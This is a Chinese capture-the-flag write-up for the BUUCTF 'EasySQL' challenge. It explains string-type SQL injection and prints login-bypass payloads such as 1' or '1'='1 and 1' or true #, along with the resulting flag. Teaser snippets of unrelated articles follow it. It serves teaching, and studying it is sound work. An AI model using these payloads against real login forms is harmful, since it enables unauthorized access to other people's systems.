BUUCTF[极客大挑战 2019]EasySQL 1题解

news2025/6/5 18:28:58

[极客大挑战 2019]EasySQL题解

  • 分析
  • 解题过程
    • 漏洞原理分析
    • 明确注入点:
    • 尝试万能密码法
      • 法一
      • 法二
  • 总结

分析

从题目分析,这道题应该与SQL注入有关,启动靶机之后,访问url是一个登录界面,随便输入用户名密码之后,发现用的还是[GET]请求👍。那基本可以确定本题一定与SQL注入有关。
登录界面
GET型

  • SQL注入的漏洞是基于数据库命令的底层逻辑,在互联网初期,没有人对SQL注入进行预防,这就导致很多历史遗留问题。
    迄今为止还是WEB中十大常见漏洞之一

解题过程

漏洞原理分析

对于上面的登录界面,后端验证用户名和密码是否匹配的数据库的查询语句可能是下面这样的格式:

select * from table_name where username=变量1 and password=变量2; 

其中的变量1是我们在用户名中输入的字符,变量2是我们在password中输入的字符。SQL注入出现的原理是SQL语句对变量和命令的界定不够清晰,我们可以构造合适的输入变量改变整个SQL查找语句的功能。

明确注入点:

SQL注入的类型主要分为数字型字符型,分类标准就是变量的数据类型:
对于数字型

select * from table_name where username=变量1 and password=变量2; 

我们构造输入

1 and 1=1 #回显正常
1 and 1=2 #回显异常

而对于字符型,关键在于试着找出变量是用什么符号闭合的,常见的符号有'单引号'“双引号”()[]等。

select * from table_name where username='变量1' and password='变量2'; 
select * from table_name where username="变量1" and password="变量2"; 

对于这道题我们构造输入

1'

直接报错,这说明我们输入的'与前面的某个引号闭合,导致最后多出来一个单独的‘,详细情况如下:

select * from table_name where username='1'' and password='变量2'; 

这样我们确定本题有注入点,并确定注入类型是字符型。

尝试万能密码法

这好像是CTF中独有的技巧因为一般的渗透都会直接入侵后端(谁和你过家家😅)

法一

我们通过or的逻辑结构,构造前端的payload,以跳过判断逻辑:

?usename=1' or '1'='1&password=1' or '1'='1

后端代码:

select * from table_name where username='1' or '1'='1' and password='1' or '1'='1'; 

对与门(and)和或门(or)有一定了解的读者很容易理解上面的代码,where后面的语句一定是真(1),这样就跳过了SQL语句对用户名和密码的判断。
最后的结果是:
flag
flag{c245efae-9088-4dec-8c2e-5c34c73392e9}

法二

上面的方法对于hacker来说还是太讲理了,不够实用,我们直接构造payload:

?username=1' or true #&password=1
select * from table_name where username='1' or true #' and password='1'; 

这个方法直接使用#注释掉了后面的语句,同样可以获得flag。

总结

这是一道初级的SQL注入题目,与渗透测试的实际环境有出入,主要的考察点是SQL类型判断以及构造payload。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2398564.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大模型 提示模板 设计

大模型 提示模板 设计 论文介绍:LangGPT - 从编程语言视角重构大语言模型结构化可复用提示设计框架 核心问题: 现有提示工程缺乏结构化设计模板,依赖经验优化,学习成本高且复用性低,难以支持提示的迭代更新。 创新思路: 受编程语言的结构化和可复用性启发,提出LangGP…

excel表格记账 : 操作单元格进行加减乘除 | Excel中Evaluate函数

文章目录 引用I 基础求和∑II Excel中Evaluate函数基于字符串表达式进行计算用法案例 :基于Evaluate实现汇率计算利润知识扩展在单元格内的换行选择整列单元格引用 需求: 基于汇率计算利润,调整金额以及进汇率和出汇率自动算出利润,已经统计总利润。 基于Evaluate实现汇率计…

20250602在荣品的PRO-RK3566开发板的Android13下的uboot启动阶段配置BOOTDELAY为10s

20250602在荣品的PRO-RK3566开发板的Android13下的uboot启动阶段配置BOOTDELAY为10s 2025/6/2 18:15 缘起:有些时候,需要在uboot阶段做一些事情。 于是,希望在荣品的PRO-RK3566开发板的Android13下的uboot启动停下。 1、【原始的LOG&#xff…

ssh登录wsl2

1. ssh服务重新安装 Ubuntu20.04子系统自带的ssh服务无法连接,需卸载后重新安装。 sudo apt-get remove openssh-server sudo apt-get install openssh-server2. 修改配置信息 sudo vim /etc/ssh/sshd_config修改内容: # 最好一模一样 Port 33 # 这…

黑马Java面试笔记之 消息中间件篇(Kafka)

一. Kafka保证消息不丢失 Kafka如何保证消息不丢失 使用Kafka在消息的收发过程中都会出现消息丢失,Kafka分别给出了解决方案 生产者发送消息到Brocker丢失消息在Brocker中存储丢失消费者从Brocker接收消息丢失 1.1 生产者发送消息到Brocker丢失 设置异步发送 消息…

PYTHON通过VOSK实现离线听写支持WINDOWSLinux_X86架构

在当今人工智能快速发展的时代,语音识别技术已经成为人机交互的重要方式之一。本文将介绍如何使用Python结合Vosk和PyAudio库实现一个离线语音识别系统,无需依赖网络连接即可完成语音转文字的功能。 技术栈概述 1. Vosk语音识别引擎 Vosk是一个开源的…

neo4j 5.19.0两种基于向量进行相似度查询的方式

介绍 主要讲的是两种相似度查询 一种是创建向量索引,然后直接从索引的所有数据中进行相似度搜索,这种不支持基于自己查询的结果中进行相似度匹配另一种是自己调用向量方法生产相似度进行相似度搜索,这种可以基于自己的查询结果中进行相似度…

华为云Flexus+DeepSeek征文|利用华为云 Flexus 云服务一键部署 Dify 平台开发文本转语音助手全流程实践

目录 前言 1 华为云 Flexus 与 Dify 平台简介 1.1 Flexus:为AI而生的轻量级云服务 1.2 Dify:开源的LLM应用开发平台 2 一键部署Dify平台至Flexus环境 3 构建文本转语音助手应用 3.1 创建ChatFlow类型应用 3.2 配置语音合成API的HTTP请求 3.3 设…

ck-editor5的研究 (7):自定义配置 CKeditor5 的 toolbar 工具栏

文章目录 一、前言二、实现步骤1. 第一步: 搭建目录结构2. 第二步:配置toolbar工具栏的步骤(2-1). 配置粗体和斜体(2-2). 配置链接和标题+正文(2-3). 配置列表和引用(2-4). 配置自动格式化3. 第三步:更多工具三、测试效果和细节四、总结一、前言 在前面的文章中,我们已经对…

MPLS-EVPN笔记详述

目录 EVPN简介: EVPN路由: 基本四种EVPN路由 扩展: EVPN工作流程: 1.启动阶段: 2.流量转发: 路由次序整理: 总结: EVPN基本术语: EVPN表项: EVPN支持的多种服务模式: 简介: 1.Port Based: 简介: 配置实现: 2.VLAN Based: 简介: 配置实现: 3.VLAN Bundle: 简…

无人机甲烷检测技术革新:开启环境与能源安全监测新时代

市场需求激增,技术革新势在必行 随着全球气候变化加剧,甲烷作为第二大温室气体,其减排与监测成为国际社会关注焦点。据欧盟甲烷法规要求,2024 年起欧洲能源基础设施运营商需定期测量甲烷排放并消除泄漏。与此同时,极端…

mysql数据库实现分库分表,读写分离中间件sharding-sphere

一 概述 1.1 sharding-sphere 作用: 定位关系型数据库的中间件,合理在分布式环境下使用关系型数据库操作,目前有三个产品 1.sharding-jdbc,sharding-proxy 1.2 sharding-proxy实现读写分离的api版本 4.x版本 5.x版本 1.3 说明…

普通二叉树 —— 最近公共祖先问题解析(Leetcode 236)

🏠个人主页:尘觉主页 文章目录 普通二叉树 —— 最近公共祖先问题解析(Leetcode 236)🧠 问题理解普通二叉树与 BST 的区别: 💡 解题思路关键思想:📌 举个例子&#xff1a…

Spring AOP:面向切面编程 详解代理模式

文章目录 AOP介绍什么是Spring AOP?快速入门SpringAop引入依赖Aop的优点 Spring Aop 的核心概念切点(Pointcut)连接点、通知切面通知类型PointCut注解切面优先级Order切点表达式executionwithinthistargetargsannotation自定义注解 Spring AOP原理代理模式&#xff…

零知开源——STM32F407VET6驱动ILI9486 TFT显示屏 实现Flappy Bird游戏教程

简介 本教程使用STM32F407VET6零知增强板驱动3.5寸 ILI9486的TFT触摸屏扩展板实现经典Flappy Bird游戏。通过触摸屏控制小鸟跳跃,躲避障碍物柱体,挑战最高分。项目涉及STM32底层驱动、图形库移植、触摸控制和游戏逻辑设计。 目录 简介 一、硬件准备 二…

数据安全中心是什么?如何做好数据安全管理?

目录 一、数据安全中心是什么 (一)数据安全中心的定义 (二)数据安全中心的功能 1. 数据分类分级 2. 访问控制 3. 数据加密 4. 安全审计 5. 威胁检测与响应 二、数据安全管理的重要性 三、如何借助数据安全中心做好数据安…

Monorepo 详解:现代前端工程的架构革命

以下是一篇关于 Monorepo 技术的详细技术博客,采用 Markdown 格式,适合发布在技术社区或团队知识库中。 🧩 深入理解 Monorepo:现代项目管理的利器 在现代软件开发中,项目规模日益庞大,模块之间的依赖关系…

16-前端Web实战(Tlias案例-部门管理)

在前面的课程中,我们学习了Vue工程化的基础内容、TS、ElementPlus,那接下来呢,我们要通过一个案例,加强大家对于Vue项目的理解,并掌握Vue项目的开发。 这个案例呢,就是我们之前所做的Tlias智能学习辅助系统…

电路学习(二)之电容

电容的基本功能是通交流隔直流、存储电量,在电路中可以进行滤波、充放电。 1.什么是电容? (1)电容定义:电容器代表了器件存储电荷的能力,通俗来理解是两块不连通的导体与绝缘的中间体组成。当给电容充电时…

CTA-861-G-2017中文pdf版

CTA-861-G标准(2016年11月发布)规范未压缩高速数字接口的DTV配置,涵盖视频格式、色彩编码、辅助信息传输等,适用于DVI、HDMI等接口,还涉及EDID数据结构及HDR元数据等内容。